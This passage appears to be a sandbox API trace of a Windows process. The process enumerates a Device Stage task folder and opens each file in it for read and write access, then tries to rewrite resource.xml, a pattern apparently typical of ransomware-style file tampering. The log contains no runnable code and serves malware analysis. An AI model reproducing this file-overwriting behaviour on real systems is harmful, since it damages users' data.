ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.396] FindNextFileW (in: hFindFile=0x1ec83d10, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0096.396] FindNextFileW (in: hFindFile=0x1ec83d10, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0096.397] FindNextFileW (in: hFindFile=0x1ec83d10, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1 [0096.397] FindNextFileW (in: hFindFile=0x1ec83d10, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1 [0096.397] FindNextFileW (in: hFindFile=0x1ec83d10, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49362917, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49362917, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49362917, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0096.397] FindNextFileW (in: hFindFile=0x1ec83d10, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1 [0096.397] FindNextFileW (in: hFindFile=0x1ec83d10, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1 [0096.397] FindNextFileW (in: hFindFile=0x1ec83d10, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1 [0096.397] FindNextFileW (in: hFindFile=0x1ec83d10, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2aff, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0096.397] FindNextFileW (in: hFindFile=0x1ec83d10, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1 [0096.397] FindNextFileW (in: hFindFile=0x1ec83d10, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0096.398] FindClose (in: hFindFile=0x1ec83d10 | out: hFindFile=0x1ec83d10) returned 1 [0096.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0096.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0096.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0096.398] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpFilePart=0x0) returned 0x51 [0096.398] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec83d70 [0096.399] FindNextFileW (in: hFindFile=0x1ec83d70, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.399] FindNextFileW (in: hFindFile=0x1ec83d70, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0096.400] FindNextFileW (in: hFindFile=0x1ec83d70, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0096.400] FindNextFileW (in: hFindFile=0x1ec83d70, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1 [0096.400] FindNextFileW (in: hFindFile=0x1ec83d70, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1 [0096.400] FindNextFileW (in: hFindFile=0x1ec83d70, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49362917, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49362917, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49362917, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0096.400] FindNextFileW (in: hFindFile=0x1ec83d70, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1 [0096.400] FindNextFileW (in: hFindFile=0x1ec83d70, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1 [0096.401] FindNextFileW (in: hFindFile=0x1ec83d70, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1 [0096.401] FindNextFileW (in: hFindFile=0x1ec83d70, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2aff, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0096.401] FindNextFileW (in: hFindFile=0x1ec83d70, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1 [0096.401] FindNextFileW (in: hFindFile=0x1ec83d70, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0 [0096.401] FindClose (in: hFindFile=0x1ec83d70 | out: hFindFile=0x1ec83d70) returned 1 [0096.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0096.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0096.402] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico", lpFilePart=0x0) returned 0x5c [0096.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0096.402] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"), fInfoLevelId=0x0, lpFileInformation=0x3613da0 | out: lpFileInformation=0x3613da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3)) returned 1 [0096.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0096.404] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico", lpFilePart=0x0) returned 0x5c [0096.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0096.404] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0096.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0096.407] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico", lpFilePart=0x0) returned 0x5c [0096.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0096.407] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"), fInfoLevelId=0x0, lpFileInformation=0x36145c0 | out: lpFileInformation=0x36145c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x72ee)) returned 1 [0096.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0096.408] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico", lpFilePart=0x0) returned 0x5c [0096.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0096.408] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0096.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0096.410] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico", lpFilePart=0x0) returned 0x5e [0096.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0096.410] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"), fInfoLevelId=0x0, lpFileInformation=0x3614e50 | out: lpFileInformation=0x3614e50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14668)) returned 1 [0096.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0096.411] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico", lpFilePart=0x0) returned 0x5e [0096.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0096.411] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0096.412] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0096.413] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", lpFilePart=0x0) returned 0x5e [0096.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0096.413] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), fInfoLevelId=0x0, lpFileInformation=0x3615680 | out: lpFileInformation=0x3615680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49362917, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49362917, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49362917, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x536)) returned 1 [0096.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0096.414] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", lpFilePart=0x0) returned 0x5e [0096.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0096.414] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7e0 [0096.414] GetFileType (hFile=0x7e0) returned 0x1 [0096.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0096.414] GetFileType (hFile=0x7e0) returned 0x1 [0096.414] GetFileSize (in: hFile=0x7e0, lpFileSizeHigh=0x1f9ed2a8 | out: lpFileSizeHigh=0x1f9ed2a8*=0x0) returned 0x536 [0096.414] ReadFile (in: hFile=0x7e0, lpBuffer=0x3615ec0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed1d8, lpOverlapped=0x0 | out: lpBuffer=0x3615ec0*, lpNumberOfBytesRead=0x1f9ed1d8*=0x536, lpOverlapped=0x0) returned 1 [0096.416] CloseHandle (hObject=0x7e0) returned 1 [0096.566] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", lpFilePart=0x0) returned 0x5e [0096.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0096.566] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0096.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9af0) returned 1 [0096.568] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico", lpFilePart=0x0) returned 0x5f [0096.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0096.569] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\programdata\\microsoft\\device 